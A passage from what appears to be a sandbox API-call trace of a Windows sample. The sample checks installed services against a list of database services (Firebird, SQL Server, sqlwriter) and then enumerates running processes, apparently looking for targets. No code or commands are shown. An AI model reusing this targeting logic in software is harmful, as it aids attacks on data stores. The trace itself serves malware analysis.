lpString2="LanmanServer") returned 1 [0114.920] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0114.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0114.920] lstrlenW (lpString="LanmanWorkstation") returned 17 [0114.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0114.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0115.097] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0115.097] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0115.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0115.097] lstrlenW (lpString="lfsvc") returned 5 [0115.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0115.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0115.098] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0115.098] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0115.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0115.098] lstrlenW (lpString="lmhosts") returned 7 [0115.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0115.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0115.098] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0115.098] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0115.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0115.098] lstrlenW (lpString="LSM") returned 3 [0115.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0115.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0115.098] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0115.098] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0115.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0115.098] lstrlenW (lpString="MapsBroker") returned 10 [0115.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0115.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0115.098] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0115.098] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0115.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0115.098] lstrlenW (lpString="MpsSvc") returned 6 [0115.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0115.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0115.098] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0115.100] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0115.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0115.100] lstrlenW (lpString="NcbService") returned 10 [0115.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0115.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0115.100] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0115.100] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0115.100] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0115.100] lstrlenW (lpString="netprofm") returned 8 [0115.100] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0115.100] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0115.100] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0115.101] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0115.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0115.101] lstrlenW (lpString="NlaSvc") returned 6 [0115.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0115.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0115.101] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0115.101] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0115.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0115.101] lstrlenW (lpString="nsi") returned 3 [0115.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0115.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0115.101] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0115.101] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0115.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0115.101] lstrlenW (lpString="PcaSvc") returned 6 [0115.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0115.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0115.101] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0115.101] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0115.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0115.101] lstrlenW (lpString="PlugPlay") returned 8 [0115.101] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0115.101] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0115.101] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0115.101] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0115.101] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0115.101] lstrlenW (lpString="Power") returned 5 [0115.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0115.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0115.102] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0115.102] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0115.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0115.102] lstrlenW (lpString="ProfSvc") returned 7 [0115.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0115.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0115.102] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0115.102] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0115.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0115.102] lstrlenW (lpString="RpcEptMapper") returned 12 [0115.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0115.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0115.102] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0115.102] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0115.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0115.102] lstrlenW (lpString="RpcSs") returned 5 [0115.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0115.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0115.102] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0115.102] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0115.102] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0115.102] lstrlenW (lpString="SamSs") returned 5 [0115.102] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0115.102] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0115.102] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0115.103] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0115.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0115.103] lstrlenW (lpString="Schedule") returned 8 [0115.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0115.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0115.103] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0115.103] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0115.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0115.103] lstrlenW (lpString="SecurityHealthService") returned 21 [0115.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0115.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0115.103] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0115.103] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0115.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0115.103] lstrlenW (lpString="SENS") returned 4 [0115.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0115.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0115.103] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0115.103] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0115.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0115.103] lstrlenW (lpString="ShellHWDetection") returned 16 [0115.103] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0115.103] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0115.103] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0115.103] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0115.103] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0115.103] lstrlenW (lpString="Spooler") returned 7 [0115.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0115.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0115.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0115.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0115.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0115.104] lstrlenW (lpString="SSDPSRV") returned 7 [0115.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0115.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0115.104] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0115.104] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0115.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0115.104] lstrlenW (lpString="StateRepository") returned 15 [0115.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0115.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0115.104] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0115.104] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0115.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0115.104] lstrlenW (lpString="SysMain") returned 7 [0115.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0115.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0115.104] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0115.104] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0115.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6130e8 | out: hHeap=0x5b0000) returned 1 [0115.104] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0115.111] Process32FirstW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.112] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0115.112] lstrlenW (lpString="System") returned 6 [0115.112] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0115.113] lstrlenW (lpString="smss.exe") returned 8 [0115.113] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.114] lstrlenW (lpString="csrss.exe") returned 9 [0115.114] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0115.115] lstrlenW (lpString="wininit.exe") returned 11 [0115.115] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.116] lstrlenW (lpString="csrss.exe") returned 9 [0115.116] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0115.117] lstrlenW (lpString="winlogon.exe") returned 12 [0115.117] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0115.118] lstrlenW (lpString="services.exe") returned 12 [0115.118] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0115.119] lstrlenW (lpString="lsass.exe") returned 9 [0115.119] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.120] lstrlenW (lpString="svchost.exe") returned 11 [0115.120] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0115.121] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0115.122] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0115.122] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0115.123] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.123] lstrlenW (lpString="svchost.exe") returned 11 [0115.123] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0115.124] lstrlenW (lpString="dwm.exe") returned 7 [0115.125] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.125] lstrlenW (lpString="svchost.exe") returned 11 [0115.125] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.127] lstrlenW (lpString="svchost.exe") returned 11 [0115.127] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.128] lstrlenW (lpString="svchost.exe") returned 11 [0115.128] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.129] lstrlenW (lpString="svchost.exe") returned 11 [0115.129] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.130] lstrlenW (lpString="svchost.exe") returned 11 [0115.130] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.131] lstrlenW (lpString="svchost.exe") returned 11 [0115.131] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.131] lstrlenW (lpString="svchost.exe") returned 11 [0115.132] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.132] lstrlenW (lpString="svchost.exe") returned 11 [0115.132] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.133] lstrlenW (lpString="svchost.exe") returned 11 [0115.133] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0115.134] lstrlenW (lpString="spoolsv.exe") returned 11 [0115.134] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.135] lstrlenW (lpString="svchost.exe") returned 11 [0115.135] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.136] lstrlenW (lpString="svchost.exe") returned 11 [0115.136] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0115.137] lstrlenW (lpString="audiodg.exe") returned 11 [0115.137] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0115.138] lstrlenW (lpString="sihost.exe") returned 10 [0115.138] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.587] lstrlenW (lpString="svchost.exe") returned 11 [0115.588] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0115.591] lstrlenW (lpString="taskhostw.exe") returned 13 [0115.591] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0115.595] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0115.596] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0115.596] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0115.596] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0115.597] lstrlenW (lpString="explorer.exe") returned 12 [0115.597] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0115.609] lstrlenW (lpString="Memory Compression") returned 18 [0115.609] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0115.610] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0115.610] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0115.610] lstrlenW (lpString="SearchUI.exe") returned 12 [0115.610] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0115.611] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0115.611] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0115.612] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0115.612] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0115.612] lstrlenW (lpString="taskhostw.exe") returned 13 [0115.613] Process32NextW (in: hSnapshot=0x330, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, 